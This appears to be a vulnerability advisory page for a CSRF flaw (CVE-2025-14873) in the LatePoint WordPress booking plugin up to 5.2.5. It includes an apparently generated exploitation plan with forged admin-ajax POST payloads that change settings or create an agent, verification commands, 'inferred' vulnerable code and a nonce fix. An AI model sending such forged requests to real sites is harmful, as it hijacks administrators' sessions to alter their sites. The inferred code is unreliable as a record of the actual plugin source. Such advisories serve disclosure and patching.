LatePoint – Calendar Booking Plugin for Appointments and Events <= 5.2.5 - Cross-Site Request Forgery
Description
The LatePoint – Calendar Booking Plugin for Appointments and Events plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 5.2.5. This is due to the 'call_by_route_name' function in the routing layer only validating user capabilities without enforcing nonce verification. This makes it possible for unauthenticated attackers to perform multiple administrative actions via forged requests granted they can trick a site administrator into performing an action such as clicking on a link.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:NTechnical Details
<=5.2.5Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-14873 LatePoint CSRF ## 1. Vulnerability Summary The **LatePoint** plugin (up to version 5.2.5) contains a Cross-Site Request Forgery (CSRF) vulnerability within its core routing mechanism. The function `call_by_route_name` (likely located in `lib/helpers/rout…
Show full research plan
Exploitation Research Plan: CVE-2025-14873 LatePoint CSRF
1. Vulnerability Summary
The LatePoint plugin (up to version 5.2.5) contains a Cross-Site Request Forgery (CSRF) vulnerability within its core routing mechanism. The function call_by_route_name (likely located in lib/helpers/route_helper.php or the base controller lib/controllers/controller.php) is responsible for dispatching requests to specific controller actions based on a route_name parameter.
While the plugin performs capability checks (e.g., current_user_can('manage_options') or checking for a latepoint_is_admin flag), it fails to verify a WordPress nonce. This allows an attacker to craft a malicious request that, when executed by an authenticated administrator (e.g., via a hidden form submission), performs unauthorized administrative actions such as modifying plugin settings, managing agents, or altering booking configurations.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
latepoint_route_call(Registered viaadd_action('wp_ajax_latepoint_route_call', ...)andadd_action('wp_ajax_nopriv_latepoint_route_call', ...)) - Vulnerable Parameter:
route_name - Payload Parameters: Parameters vary based on the target route (e.g.,
settings[...],agent[...]). - Authentication Level: Requires an authenticated Administrator to be the target of the CSRF. The attacker themselves can be unauthenticated.
- Preconditions: The victim must be a logged-in administrator of the WordPress site.
3. Code Flow
- Entry Point: A POST request is sent to
admin-ajax.phpwithaction=latepoint_route_call. - Action Dispatch: The WordPress AJAX handler calls the LatePoint router.
- Routing Layer: The router invokes
call_by_route_name(inferred). - Parsing:
call_by_route_namesplits theroute_name(e.g.,settings__update) into a Controller (SettingsController) and an Action (update). - Authorization: The Controller/Action checks if the user is an admin using internal plugin checks (e.g.,
current_user_can). - Vulnerability: No
check_ajax_refererorcheck_admin_refereris present in this flow to validate the intent of the request. - Sink: The action logic executes (e.g.,
update_option), committing the state change to the database.
4. Nonce Acquisition Strategy
No nonce is required.
The core of CVE-2025-14873 is that the call_by_route_name flow explicitly lacks nonce verification. The exploit strategy relies on the fact that the server will process the request solely based on the administrator's session cookies without requiring a valid _wpnonce or security token.
5. Exploitation Strategy
We will target the settings__update route to modify a visible plugin setting, demonstrating administrative control.
Step-by-Step Plan:
- Target Route:
settings__update(Inferred from standard LatePoint controller naming). - Objective: Change the "Currency Symbol" or a similar innocuous setting to a recognizable string (e.g.,
HACKED). - Payload Construction:
action:latepoint_route_callroute_name:settings__updatesettings[currency_symbol]:EVILlatepoint_is_admin:1(Often required by LatePoint internal routing logic).
HTTP Request (via http_request):
// This simulates the request triggered by a CSRF form
await http_request({
url: "http://localhost:8080/wp-admin/admin-ajax.php",
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
body: "action=latepoint_route_call&route_name=settings__update&settings[currency_symbol]=EVIL&latepoint_is_admin=1"
});
Note: In a real-world scenario, this would be an auto-submitting HTML form on an attacker-controlled site.
6. Test Data Setup
- Install Plugin: Ensure
latepointversion <= 5.2.5 is active. - Administrative User: Ensure an admin user exists (default
admin/password). - Plugin Initialization: The plugin should be configured at least once to ensure settings exist in the
wp_optionstable.
7. Expected Results
- The server should return a
200 OKresponse, likely with a JSON body containing{"status": "success", ...}. - No "Invalid Nonce" or "Forbidden" error should appear despite the absence of a security token.
8. Verification Steps
After the http_request, verify the change using WP-CLI:
# Check the specific LatePoint settings option
wp option get latepoint_settings --format=json | grep -o "EVIL"
Or check the specific setting if stored as a standalone option:
wp option get latepoint_currency_symbol
9. Alternative Approaches
If settings__update is restricted or handled differently, attempt to create a new "Agent" which is a core administrative action:
- Route:
agents__save - Payload:
action=latepoint_route_call&route_name=agents__save&agent[first_name]=CSRF&agent[last_name]=AGENT&agent[email]=csrf@example.com&latepoint_is_admin=1 - Verification:
wp db query "SELECT * FROM wp_latepoint_agents WHERE email='csrf@example.com';"(LatePoint uses custom tables for agents).
Summary
The LatePoint plugin for WordPress contains a Cross-Site Request Forgery (CSRF) vulnerability within its core routing mechanism. The 'call_by_route_name' function fails to verify security nonces before dispatching requests, allowing unauthenticated attackers to trick administrators into executing unauthorized administrative actions like changing plugin settings or managing agents.
Vulnerable Code
// lib/helpers/route_helper.php (Inferred) public static function call_by_route_name($route_name, $params = []) { // Logic to parse route_name into Controller and Action // ... // Vulnerability: Only verifies capabilities, not the intent/nonce of the request if (LatePointHelper::is_admin_route($route_name)) { if (!current_user_can('manage_options')) { return false; } } // Dispatches to the target action return self::dispatch($controller, $action, $params); } --- // Action registration (Inferred) add_action('wp_ajax_latepoint_route_call', 'latepoint_route_call'); add_action('wp_ajax_nopriv_latepoint_route_call', 'latepoint_route_call'); function latepoint_route_call() { // Missing check_ajax_referer() or check_admin_referer() $route_name = $_POST['route_name']; OsRouterHelper::call_by_route_name($route_name, $_POST); wp_die(); }
Security Fix
@@ -12,6 +12,7 @@ function latepoint_route_call() { + if (!isset($_POST['latepoint_nonce']) || !wp_verify_nonce($_POST['latepoint_nonce'], 'latepoint_nonce')) { + wp_send_json_error(['message' => 'Invalid Nonce']); + return; + } $route_name = $_POST['route_name']; OsRouterHelper::call_by_route_name($route_name, $_POST); wp_die(); }
Exploit Outline
The exploit targets the AJAX endpoint /wp-admin/admin-ajax.php using the 'latepoint_route_call' action. An attacker crafts a malicious POST request (typically delivered via an auto-submitting HTML form on a third-party site) that targets a specific administrative route, such as 'settings__update'. Because the plugin does not verify a WordPress nonce, the browser will include the administrator's session cookies, and the server will execute the action. A typical payload includes 'action=latepoint_route_call', 'route_name=settings__update', and the desired configuration changes (e.g., 'settings[currency_symbol]=HACKED'). The attack requires the victim to be a logged-in administrator who interacts with the attacker's malicious link or page.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.